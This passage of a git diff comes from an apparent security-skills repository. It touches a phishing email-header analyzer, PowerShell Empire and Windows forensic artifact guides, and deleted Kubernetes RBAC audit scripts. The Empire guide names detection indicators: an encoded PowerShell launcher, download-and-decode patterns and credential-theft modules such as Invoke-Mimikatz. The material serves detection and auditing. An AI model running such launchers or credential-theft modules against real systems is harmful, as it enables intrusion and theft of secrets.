== "fail" else "NONE" - lines.append(f" SPF: {spf_icon} ({auth.spf}) domain={auth.spf_domain}") - lines.append(f" DKIM: {dkim_icon} ({auth.dkim}) domain={auth.dkim_domain}") - lines.append(f" DMARC: {dmarc_icon} ({auth.dmarc}) domain={auth.dmarc_domain}") - - # Routing Path - lines.append(f"\n[ROUTING PATH] ({len(analysis.received_hops)} hops)") - for hop in analysis.received_hops: - lines.append(f" Hop {hop.hop_number}: {hop.server_from} -> {hop.server_by}") - if hop.ip_address: - lines.append(f" IP: {hop.ip_address}") - if hop.geo_location and hop.geo_location != "unknown": - lines.append(f" Location: {hop.geo_location}") - if hop.protocol: - lines.append(f" Protocol: {hop.protocol}") - if hop.timestamp: - lines.append(f" Time: {hop.timestamp}") - - # Phishing Indicators - if analysis.indicators: - lines.append(f"\n[PHISHING INDICATORS] ({len(analysis.indicators)} found)") - for i, ind in enumerate(analysis.indicators, 1): - lines.append(f" {i}. [{ind.severity.upper()}] {ind.description}") - if ind.raw_value: - lines.append(f" Value: {ind.raw_value}") - else: - lines.append("\n[PHISHING INDICATORS] None detected") - - # URLs in Headers - if analysis.urls_in_headers: - lines.append(f"\n[URLS IN HEADERS] ({len(analysis.urls_in_headers)} found)") - for url in analysis.urls_in_headers[:10]: - lines.append(f" - {url}") - - lines.append("\n" + "=" * 70) - lines.append(" END OF REPORT") - lines.append("=" * 70) - - return "\n".join(lines) - - -def main(): - parser = argparse.ArgumentParser( - description="Analyze email headers for phishing indicators" - ) - input_group = parser.add_mutually_exclusive_group(required=True) - input_group.add_argument("--file", "-f", help="Path to file containing raw headers") - input_group.add_argument("--eml", "-e", help="Path to .eml file") - input_group.add_argument("--stdin", action="store_true", help="Read headers from stdin") - - parser.add_argument("--enrich", action="store_true", - help="Enrich with IP geolocation and reverse DNS") - parser.add_argument("--abuseipdb-key", default="", - help="AbuseIPDB API key for threat intelligence") - parser.add_argument("--json", action="store_true", - help="Output results as JSON") - parser.add_argument("--output", "-o", help="Write report to file") - - args = parser.parse_args() - - # Read input - if args.stdin: - raw_headers = sys.stdin.read() - elif args.eml: - with open(args.eml, "rb") as f: - msg = BytesParser(policy=policy.default).parse(f) - raw_headers = str(msg) - else: - with open(args.file, "r", encoding="utf-8", errors="replace") as f: - raw_headers = f.read() - - # Analyze - analysis = analyze_headers( - raw_headers, - enrich=args.enrich, - abuseipdb_key=args.abuseipdb_key - ) - - # Output - if args.json: - output = json.dumps(asdict(analysis), indent=2, default=str) - else: - output = format_report(analysis) - - if args.output: - with open(args.output, "w", encoding="utf-8") as f: - f.write(output) - print(f"Report written to {args.output}") - else: - print(output) - - # Exit code based on risk - if analysis.risk_level in ("CRITICAL", "HIGH"): - sys.exit(2) - elif analysis.risk_level == "MEDIUM": - sys.exit(1) - else: - sys.exit(0) - - -if __name__ == "__main__": - main() diff --git a/skills/analyzing-powershell-empire-artifacts/SKILL.md b/skills/analyzing-powershell-empire-artifacts/SKILL.md index fd36c21f..969a750e 100644 --- a/skills/analyzing-powershell-empire-artifacts/SKILL.md +++ b/skills/analyzing-powershell-empire-artifacts/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 PowerShell Empire is a post-exploitation framework consisting of listeners, stagers, and agents. Its artifacts leave detectable traces in Windows event logs, particularly PowerShell Script Block Logging (Event ID 4104) and Module Logging (Event ID 4103). This skill analyzes event logs for Empire's default launcher string (`powershell -noP -sta -w 1 -enc`), Base64 encoded payloads containing `System.Net.WebClient` and `FromBase64String`, known module invocations (Invoke-Mimikatz, Invoke-Kerberoast, Invoke-TokenManipulation), and staging URL patterns. + +## When to Use + +- When investigating security incidents that require analyzing powershell empire artifacts +- When building detection rules or threat hunting queries for this domain +- When SOC analysts need structured procedures for this analysis type +- When validating security monitoring coverage for related attack techniques + ## Prerequisites - Python 3.9+ with access to Windows Event Log or exported EVTX files diff --git a/skills/analyzing-windows-amcache-artifacts/SKILL.md b/skills/analyzing-windows-amcache-artifacts/SKILL.md index cde2a41c..31bf95e3 100644 --- a/skills/analyzing-windows-amcache-artifacts/SKILL.md +++ b/skills/analyzing-windows-amcache-artifacts/SKILL.md @@ -17,6 +17,21 @@ license: Apache-2.0 Extract execution evidence from Amcache.hve including application paths, SHA-1 hashes, timestamps, and publisher metadata for DFIR investigations. + +## When to Use + +- When investigating security incidents that require analyzing windows amcache artifacts +- When building detection rules or threat hunting queries for this domain +- When SOC analysts need structured procedures for this analysis type +- When validating security monitoring coverage for related attack techniques + +## Prerequisites + +- Familiarity with digital forensics concepts and tools +- Access to a test or lab environment for safe execution +- Python 3.8+ with required dependencies installed +- Appropriate authorization for any testing activities + ## Example Output ```text diff --git a/skills/analyzing-windows-shellbag-artifacts/SKILL.md b/skills/analyzing-windows-shellbag-artifacts/SKILL.md index 19eadc59..ce91db51 100644 --- a/skills/analyzing-windows-shellbag-artifacts/SKILL.md +++ b/skills/analyzing-windows-shellbag-artifacts/SKILL.md @@ -15,6 +15,21 @@ license: Apache-2.0 Shellbags are Windows registry artifacts that track how users interact with folders through Windows Explorer, storing view settings such as icon size, window position, sort order, and view mode. From a forensic perspective, Shellbags provide definitive evidence of folder access -- even folders that no longer exist on the system. When a user browses to a folder via Windows Explorer, the Open/Save dialog, or the Control Panel, a Shellbag entry is created or updated in the user's registry hive. These entries persist after folder deletion, drive disconnection, and even across user profile resets, making them invaluable for proving that a user navigated to specific directories on local drives, USB devices, network shares, or zip archives. + +## When to Use + +- When investigating security incidents that require analyzing windows shellbag artifacts +- When building detection rules or threat hunting queries for this domain +- When SOC analysts need structured procedures for this analysis type +- When validating security monitoring coverage for related attack techniques + +## Prerequisites + +- Familiarity with digital forensics concepts and tools +- Access to a test or lab environment for safe execution +- Python 3.8+ with required dependencies installed +- Appropriate authorization for any testing activities + ## Registry Locations ### Windows 7/8/10/11 diff --git a/skills/auditing-kubernetes-rbac-permissions.bak/LICENSE b/skills/auditing-kubernetes-rbac-permissions.bak/LICENSE deleted file mode 100644 index d8851182..00000000 --- a/skills/auditing-kubernetes-rbac-permissions.bak/LICENSE +++ /dev/null @@ -1,201 +0,0 @@ - - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to the Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by the Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding any notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. - - END OF TERMS AND CONDITIONS - - APPENDIX: How to apply the Apache License to your work. - - To apply the Apache License to your work, attach the following - boilerplate notice, with the fields enclosed by brackets "[]" - replaced with your own identifying information. (Don't include - the brackets!) The text should be enclosed in the appropriate - comment syntax for the file format. Please do not remove or change - the license header comment from a contributed file except when - necessary. - - Copyright 2026 mukul975 - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. diff --git a/skills/auditing-kubernetes-rbac-permissions.bak/SKILL.md b/skills/auditing-kubernetes-rbac-permissions.bak/SKILL.md deleted file mode 100644 index 2a14c9c4..00000000 --- a/skills/auditing-kubernetes-rbac-permissions.bak/SKILL.md +++ /dev/null @@ -1,205 +0,0 @@ ---- -name: auditing-kubernetes-rbac-permissions -description: Kubernetes Role-Based Access Control (RBAC) auditing systematically reviews roles, cluster roles, bindings, and service account permissions to identify overly permissive access, privilege escalation p -domain: cybersecurity -subdomain: container-security -tags: [containers, kubernetes, security, RBAC, access-control] -version: "1.0" -author: mahipal -license: Apache-2.0 ---- -# Auditing Kubernetes RBAC Permissions - -## Overview - -Kubernetes Role-Based Access Control (RBAC) auditing systematically reviews roles, cluster roles, bindings, and service account permissions to identify overly permissive access, privilege escalation paths, and violations of least-privilege principles. Tools like rbac-tool, KubiScan, and rakkess automate discovery of dangerous permission combinations. - -## Prerequisites - -- Kubernetes cluster with RBAC enabled (default since 1.6) -- kubectl with cluster-admin access for full audit -- rbac-tool, rakkess, or KubiScan installed - -## Core Concepts - -### RBAC Components - -| Resource | Scope | Purpose | -|----------|-------|---------| -| Role | Namespace | Grants permissions within a namespace | -| ClusterRole | Cluster | Grants permissions cluster-wide | -| RoleBinding | Namespace | Binds Role/ClusterRole to subjects in namespace | -| ClusterRoleBinding | Cluster | Binds ClusterRole to subjects cluster-wide | - -### Dangerous Permission Combinations - -| Permission | Risk | Impact | -|-----------|------|--------| -| `*` on `*` resources | Critical | Equivalent to cluster-admin | -| create pods | High | Can deploy privileged pods | -| create pods/exec | High | Can exec into any pod | -| get secrets | High | Can read all secrets | -| create clusterrolebindings | Critical | Can escalate to cluster-admin | -| impersonate users | Critical | Can act as any user | -| escalate on roles | Critical | Can grant permissions beyond own | -| bind on roles | High | Can create new role bindings | - -## Implementation Steps - -### Step 1: Enumerate All RBAC Resources - -```bash -# List all ClusterRoles -kubectl get clusterroles -o name | wc -l -kubectl get clusterroles --no-headers | grep -v "system:" - -# List all ClusterRoleBindings -kubectl get clusterrolebindings -o wide - -# List all Roles per namespace -kubectl get roles -A - -# List all RoleBindings per namespace -kubectl get rolebindings -A -o wide - -# Export all RBAC for offline analysis -kubectl get clusterroles,clusterrolebindings,roles,rolebindings -A -o yaml > rbac-export.yaml -``` - -### Step 2: Identify Wildcard Permissions - -```bash -# Find ClusterRoles with wildcard verbs on all resources -kubectl get clusterroles -o json | jq -r ' - .items[] | - select(.rules[]? | - (.verbs | index("*")) and - (.resources | index("*")) - ) | - .metadata.name' - -# Find roles that can create pods -kubectl get clusterroles -o json | jq -r ' - .items[] | - select(.rules[]? | - (.verbs | index("create") or index("*")) and - (.resources | index("pods") or index("*")) - ) | - .metadata.name' - -# Find roles that can read secrets -kubectl get clusterroles -o json | jq -r ' - .items[] | - select(.rules[]? | - (.verbs | index("get") or index("list") or index("*")) and - (.resources | index("secrets") or index("*")) - ) | - .metadata.name' -``` - -### Step 3: Check Service Account Permissions - -```bash -# List all service accounts -kubectl get serviceaccounts -A - -# Check permissions for default service accounts -for ns in $(kubectl get ns -o jsonpath='{.items[*].metadata.name}'); do - echo "=== $ns/default ===" - kubectl auth can-i --list --as=system:serviceaccount:$ns:default 2>/dev/null | grep -v "no" -done - -# Check for service accounts with cluster-admin -kubectl get clusterrolebindings -o json | jq -r ' - .items[] | - select(.roleRef.name == "cluster-admin") | - {binding: .metadata.name, subjects: [.subjects[]? | {kind, name, namespace}]}' -``` - -### Step 4: Use rbac-tool for Automated Analysis - -```bash -# Install rbac-tool -kubectl krew install rbac-tool - -# Visualize RBAC -kubectl rbac-tool viz --outformat dot | dot -Tpng > rbac-graph.png - -# Find who can perform specific actions -kubectl rbac-tool who-can get secrets -A -kubectl rbac-tool who-can create pods -A -kubectl rbac-tool who-can '*' '*' - -# Analyze all permissions -kubectl rbac-tool analysis - -# Generate RBAC policy report -kubectl rbac-tool auditgen > rbac-audit.yaml -``` - -### Step 5: Check for Privilege Escalation Paths - -```bash -# Check if any role can escalate privileges -kubectl get clusterroles -o json | jq -r ' - .items[] | - select(.rules[]? | - (.verbs | index("escalate") or index("bind") or index("impersonate")) and - (.resources | index("clusterroles") or index("roles") or index("clusterrolebindings") or index("rolebindings") or index("users") or index("groups") or index("serviceaccounts")) - ) | - .metadata.name' - -# Check for impersonation permissions -kubectl get clusterroles -o json | jq -r ' - .items[] | - select(.rules[]? | - (.verbs | index("impersonate")) - ) | - {name: .metadata.name, rules: .rules}' -``` - -### Step 6: Audit with KubiScan - -```bash -# Install KubiScan -pip install kubiscan - -# Find risky roles -kubiscan --risky-roles - -# Find risky ClusterRoles -kubiscan --risky-clusterroles - -# Find risky subjects -kubiscan --risky-subjects - -# Find pods with risky service accounts -kubiscan --risky-pods - -# Full report -kubiscan --all -``` - -## Validation Commands - -```bash -# Verify specific permission -kubectl auth can-i create pods --as=system:serviceaccount:default:myapp - -# Check all permissions for a user -kubectl auth can-i --list --as=developer@example.com - -# Validate RBAC with kubescape -kubescape scan framework nsa --controls-config rbac-controls.json - -# Test least privilege -kubectl auth can-i delete nodes --as=system:serviceaccount:app:web-server -# Expected: no -``` - -## References - -- [Kubernetes RBAC Documentation](https://kubernetes.io/docs/reference/access-authn-authz/rbac/) -- [rbac-tool GitHub](https://github.com/alcideio/rbac-tool) -- [KubiScan - Risky Permissions Scanner](https://github.com/cyberark/KubiScan) -- [CIS Kubernetes Benchmark - Section 5.1](https://www.cisecurity.org/benchmark/kubernetes) diff --git a/skills/auditing-kubernetes-rbac-permissions.bak/assets/template.md b/skills/auditing-kubernetes-rbac-permissions.bak/assets/template.md deleted file mode 100644 index f28b4044..00000000 --- a/skills/auditing-kubernetes-rbac-permissions.bak/assets/template.md +++ /dev/null @@ -1,25 +0,0 @@ -# RBAC Audit Report Template - -## Cluster Information -| Field | Value | -|-------|-------| -| Cluster Name | | -| Audit Date | | -| Total ClusterRoles | | -| Total Roles | | -| Total Bindings | | - -## High-Risk Bindings -| Binding | Role | Subject | Severity | Action | -|---------|------|---------|----------|--------| -| | | | | | - -## Service Account Review -| Namespace | SA Name | Bound Roles | Risk | Recommendation | -|-----------|---------|-------------|------|---------------| -| | | | | | - -## Remediation Plan -| Priority | Finding | Action | Owner | Status | -|----------|---------|--------|-------|--------| -| | | | | | diff --git a/skills/auditing-kubernetes-rbac-permissions.bak/references/api-reference.md b/skills/auditing-kubernetes-rbac-permissions.bak/references/api-reference.md deleted file mode 100644 index 99bf3f77..00000000 --- a/skills/auditing-kubernetes-rbac-permissions.bak/references/api-reference.md +++ /dev/null @@ -1,55 +0,0 @@ -# API Reference: Kubernetes RBAC Audit - -## Python Kubernetes Client -```python -from kubernetes import client, config -config.load_kube_config() -rbac = client.RbacAuthorizationV1Api() -core = client.CoreV1Api() -``` - -## RBAC API Calls -| Method | Description | -|--------|-------------| -| `rbac.list_cluster_role()` | List all ClusterRoles | -| `rbac.list_cluster_role_binding()` | List all ClusterRoleBindings | -| `rbac.list_namespaced_role(ns)` | List Roles in namespace | -| `rbac.list_namespaced_role_binding(ns)` | List RoleBindings in namespace | - -## ClusterRole Rule Structure -```python -role.rules[0].verbs # ["get", "list", "watch"] -role.rules[0].resources # ["pods", "secrets"] -role.rules[0].api_groups # ["", "apps"] -``` - -## Dangerous RBAC Permissions -| Permission | Risk | -|------------|------| -| `* / *` (all verbs, resources) | Full cluster admin | -| `create` on `pods/exec` | Remote code execution | -| `get` on `secrets` | Credential theft | -| `bind` on `clusterroles` | Privilege escalation | -| `impersonate` on users | Identity spoofing | -| `escalate` on roles | Self-privilege escalation | - -## Subject Types -| Kind | Description | -|------|-------------| -| User | Human user identity | -| Group | User group (e.g., system:authenticated) | -| ServiceAccount | Pod identity | - -## Risky Groups -| Group | Risk | -|-------|------| -| `system:unauthenticated` | Anonymous access | -| `system:authenticated` | Any authenticated user | -| `system:masters` | Full cluster admin | - -## kubectl RBAC Commands -```bash -kubectl auth can-i --list -kubectl get clusterrolebindings -o json -kubectl auth can-i create pods --as=system:serviceaccount:default:default -``` diff --git a/skills/auditing-kubernetes-rbac-permissions.bak/references/standards.md b/skills/auditing-kubernetes-rbac-permissions.bak/references/standards.md deleted file mode 100644 index 46736957..00000000 --- a/skills/auditing-kubernetes-rbac-permissions.bak/references/standards.md +++ /dev/null @@ -1,34 +0,0 @@ -# Standards Reference - RBAC Auditing - -## CIS Kubernetes Benchmark v1.8 - Section 5.1 - -- 5.1.1: Ensure cluster-admin role is only used where required -- 5.1.2: Minimize access to secrets -- 5.1.3: Minimize wildcard use in Roles and ClusterRoles -- 5.1.4: Minimize access to create pods -- 5.1.5: Ensure default service accounts are not actively used -- 5.1.6: Ensure Service Account Tokens are not mounted when not needed -- 5.1.7: Avoid use of system:masters group -- 5.1.8: Limit use of the Bind, Impersonate and Escalate permissions - -## NIST SP 800-53 AC Controls -- AC-2: Account Management -- AC-3: Access Enforcement -- AC-6: Least Privilege -- AC-6(1): Authorize Access to Security Functions -- AC-6(5): Privileged Accounts - -## Dangerous RBAC Combinations - -| Verbs | Resources | Risk Level | -|-------|-----------|-----------| -| * | * | CRITICAL - cluster-admin equivalent | -| create | pods | HIGH - can deploy privileged pods | -| create | pods/exec | HIGH - can exec into any pod | -| get, list | secrets | HIGH - can read all secrets | -| create | clusterrolebindings | CRITICAL - privilege escalation | -| impersonate | users, groups, serviceaccounts | CRITICAL - identity theft | -| escalate | roles, clusterroles | CRITICAL - RBAC escalation | -| bind | roles, clusterroles | HIGH - can create bindings | -| create | deployments | MEDIUM - can deploy workloads | -| delete | pods, nodes | HIGH - denial of service | diff --git a/skills/auditing-kubernetes-rbac-permissions.bak/references/workflows.md b/skills/auditing-kubernetes-rbac-permissions.bak/references/workflows.md deleted file mode 100644 index 38e41260..00000000 --- a/skills/auditing-kubernetes-rbac-permissions.bak/references/workflows.md +++ /dev/null @@ -1,60 +0,0 @@ -# Workflows - RBAC Auditing - -## Workflow 1: Comprehensive RBAC Audit - -``` -[Export all RBAC] --> [Identify cluster-admin bindings] --> [Check wildcard permissions] - | | | - v v v - kubectl get all Flag non-system Flag * verbs, * resources - RBAC resources cluster-admin users Find excessive permissions - | | | - +----------+------------+------------------------------------+ - | - v - [Check service account permissions] - | - v - [Identify privilege escalation paths] - | - v - [Generate remediation report] -``` - -## Workflow 2: Least Privilege Implementation - -``` -Step 1: Inventory current permissions per team/service -Step 2: Document actual required operations -Step 3: Create minimal Role/ClusterRole -Step 4: Test with auth can-i dry-run -Step 5: Apply new bindings -Step 6: Remove overly permissive bindings -Step 7: Validate with automated audit -``` - -## Workflow 3: Continuous RBAC Monitoring - -```yaml -# CronJob for weekly RBAC audit -apiVersion: batch/v1 -kind: CronJob -metadata: - name: rbac-audit -spec: - schedule: "0 2 * * 1" # Weekly Monday 2am - jobTemplate: - spec: - template: - spec: - containers: - - name: audit - image: bitnami/kubectl:latest - command: - - /bin/sh - - -c - - | - kubectl get clusterrolebindings -o json | jq '.items[] | select(.roleRef.name=="cluster-admin") | .metadata.name' > /audit/cluster-admin-bindings.txt - kubectl get clusterroles -o json | jq '.items[] | select(.rules[]? | (.verbs | index("*")) and (.resources | index("*"))) | .metadata.name' > /audit/wildcard-roles.txt - restartPolicy: Never -``` diff --git a/skills/auditing-kubernetes-rbac-permissions.bak/scripts/agent.py b/skills/auditing-kubernetes-rbac-permissions.bak/scripts/agent.py deleted file mode 100644 index 1d205ace..00000000 --- a/skills/auditing-kubernetes-rbac-permissions.bak/scripts/agent.py +++ /dev/null @@ -1,110 +0,0 @@ -#!/usr/bin/env python3 -"""Kubernetes RBAC Audit Agent - Audits cluster RBAC permissions for security misconfigurations.""" - -import json -import logging -import argparse -from datetime import datetime - -from kubernetes import client, config - -logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") -logger = logging.getLogger(__name__) - -DANGEROUS_VERBS = {"*", "create", "delete", "patch", "update", "escalate", "bind", "impersonate"} -DANGEROUS_RESOURCES = {"secrets", "pods/exec", "pods/attach", "serviceaccounts", "clusterroles", "clusterrolebindings", "roles", "rolebindings", "*"} - - -def load_kube_config(kubeconfig=None): - """Load Kubernetes configuration.""" - if kubeconfig: - config.load_kube_config(config_file=kubeconfig) - else: - try: - config.load_incluster_config() - except config.ConfigException: - config.load_kube_config() - return client.RbacAuthorizationV1Api(), client.CoreV1Api() - - -def audit_cluster_roles(rbac_api): - """Audit ClusterRoles for overly permissive rules.""" - findings = [] - roles = rbac_api.list_cluster_role() - for role in roles.items: - if role.metadata.name.startswith("system:"): - continue - for rule in (role.rules or []): - verbs = set(rule.verbs or []) - resources = set(rule.resources or []) - api_groups = rule.api_groups or [""] - if "*" in verbs and "*" in resources: - findings.append({"role": role.metadata.name, "type": "ClusterRole", "issue": "Full wildcard access (*/*)", "severity": "critical", "rule": {"verbs": list(verbs), "resources": list(resources)}}) - elif verbs & DANGEROUS_VERBS and resources & DANGEROUS_RESOURCES: - findings.append({"role": role.metadata.name, "type": "ClusterRole", "issue": f"Dangerous permission: {verbs & DANGEROUS_VERBS} on {resources & DANGEROUS_RESOURCES}", "severity": "high", "rule": {"verbs": list(verbs), "resources": list(resources)}}) - logger.info("Audited %d ClusterRoles, %d findings", len(roles.items), len(findings)) - return findings - - -def audit_role_bindings(rbac_api): - """Audit ClusterRoleBindings for excessive privilege grants.""" - findings = [] - bindings = rbac_api.list_cluster_role_binding() - for binding in bindings.items: - if binding.metadata.name.startswith("system:"): - continue - role_ref = binding.role_ref - subjects = binding.subjects or [] - for subject in subjects: - if role_ref.name in ("cluster-admin", "admin") and subject.kind != "ServiceAccount": - findings.append({"binding": binding.metadata.name, "role": role_ref.name, "subject": f"{subject.kind}/{subject.name}", "severity": "critical" if role_ref.name == "cluster-admin" else "high", "issue": f"{subject.kind} bound to {role_ref.name}"}) - if subject.kind == "Group" and subject.name in ("system:unauthenticated", "system:authenticated"): - findings.append({"binding": binding.metadata.name, "role": role_ref.name, "subject": subject.name, "severity": "critical", "issue": f"Broad group {subject.name} bound to {role_ref.name}"}) - return findings - - -def audit_service_accounts(core_api, rbac_api): - """Audit service accounts for default token mounting and elevated permissions.""" - findings = [] - sas = core_api.list_service_account_for_all_namespaces() - for sa in sas.items: - if sa.metadata.name == "default": - if sa.automount_service_account_token is not False: - findings.append({"namespace": sa.metadata.namespace, "service_account": "default", "issue": "Default SA auto-mounts token", "severity": "medium"}) - return findings - - -def generate_report(role_findings, binding_findings, sa_findings): - """Generate RBAC audit report.""" - all_findings = role_findings + binding_findings + sa_findings - critical = [f for f in all_findings if f.get("severity") == "critical"] - report = { - "timestamp": datetime.utcnow().isoformat(), - "total_findings": len(all_findings), - "critical": len(critical), - "role_findings": role_findings, - "binding_findings": binding_findings, - "service_account_findings": sa_findings, - } - print(f"RBAC REPORT: {len(all_findings)} findings ({len(critical)} critical)") - return report - - -def main(): - parser = argparse.ArgumentParser(description="Kubernetes RBAC Audit Agent") - parser.add_argument("--kubeconfig", help="Path to kubeconfig file") - parser.add_argument("--output", default="rbac_report.json") - args = parser.parse_args() - - rbac_api, core_api = load_kube_config(args.kubeconfig) - role_findings = audit_cluster_roles(rbac_api) - binding_findings = audit_role_bindings(rbac_api) - sa_findings = audit_service_accounts(core_api, rbac_api) - report = generate_report(role_findings, binding_findings, sa_findings) - with open(args.output, "w") as f: - json.dump(report, f, indent=2) - logger.info("Report saved to %s", args.output) - - -if __name__ == "__main__": - main() diff --git a/skills/auditing-kubernetes-rbac-permissions.bak/scripts/process.py b/skills/auditing-kubernetes-rbac-permissions.bak/scripts/process.py deleted file mode 100644 index 0afc9359..00000000 --- a/skills/auditing-kubernetes-rbac-permissions.bak/scripts/process.py +++ /dev/null @@ -1,257 +0,0 @@ -#!/usr/bin/env python3 -""" -Kubernetes RBAC Permissions Auditor - -Audits RBAC configurations for overly permissive roles, -dangerous permission combinations, and privilege escalation paths. -""" - -import subprocess -import json -import sys -from dataclasses import dataclass, field - -DANGEROUS_VERBS = {"*", "escalate", "bind", "impersonate"} -DANGEROUS_RESOURCES = {"*", "secrets", "pods", "clusterroles", "clusterrolebindings", "roles", "rolebindings"} -HIGH_RISK_COMBINATIONS = [ - ({"*"}, {"*"}, "CRITICAL", "Wildcard access on all resources (cluster-admin equivalent)"), - ({"create", "update", "patch"}, {"clusterrolebindings", "rolebindings"}, "CRITICAL", "Can create role bindings for privilege escalation"), - ({"escalate"}, {"clusterroles", "roles"}, "CRITICAL", "Can escalate role permissions beyond own level"), - ({"impersonate"}, {"users", "groups", "serviceaccounts"}, "CRITICAL", "Can impersonate any identity"), - ({"get", "list", "watch"}, {"secrets"}, "HIGH", "Can read all secrets in scope"), - ({"create"}, {"pods"}, "HIGH", "Can create pods (deploy workloads)"), - ({"create"}, {"pods/exec"}, "HIGH", "Can exec into pods (command execution)"), - ({"delete"}, {"pods", "nodes", "namespaces"}, "HIGH", "Can delete critical resources"), -] - - -@dataclass -class RBACFinding: - resource_type: str - resource_name: str - namespace: str - severity: str - 